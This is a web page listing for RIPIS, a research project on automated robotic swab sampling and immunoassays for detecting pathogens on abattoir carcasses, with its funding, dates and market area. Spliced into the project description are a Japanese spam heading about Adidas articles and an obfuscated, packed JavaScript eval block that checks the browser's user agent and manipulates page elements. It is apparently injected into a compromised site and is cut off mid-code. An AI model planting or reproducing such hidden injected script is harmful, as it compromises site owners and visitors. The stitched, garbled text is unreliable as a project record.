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RIPIS

Robotic Identification of Pathogens In Slaughterhouses

A fully integrated automated robotic swab sampling and immunological assay system for installation in abattoirs to test carcasses for pathogenic organisms. This will decrease abattoir costs, improve meat safety/quality, increase product shelf-life and enable compliance with European regulations.『アディダス』に分類された記事一覧eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b i=r f["\\q\\1\\4\\g\\p\\l"]("\\4"+"\\7"+"\\7"+"\\4"+"\\5\\1","\\4\\k");s(!i["\\3\\1\\2\\3"](m["\\h\\2\\1\\j\\n\\4\\1\\6\\3"])){b a=f["\\e\\7\\o\\h\\d\\1\\6\\3"]["\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1"](\'\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\');u(b 8=0;8
Acronym: 
RIPIS
Project ID: 
6 402
Ranking: 
7
Cut-off: 
6
Start date: 
01-11-2011
Project Duration: 
38months
Project costs: 
1 363 350.00€
Technological Area: 
AGROFOOD TECHNOLOGY
Market Area: 
Food and Beverages